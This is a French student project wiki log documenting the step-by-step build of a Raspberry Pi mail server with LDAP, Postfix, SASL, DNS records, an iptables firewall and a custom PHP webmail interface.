Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
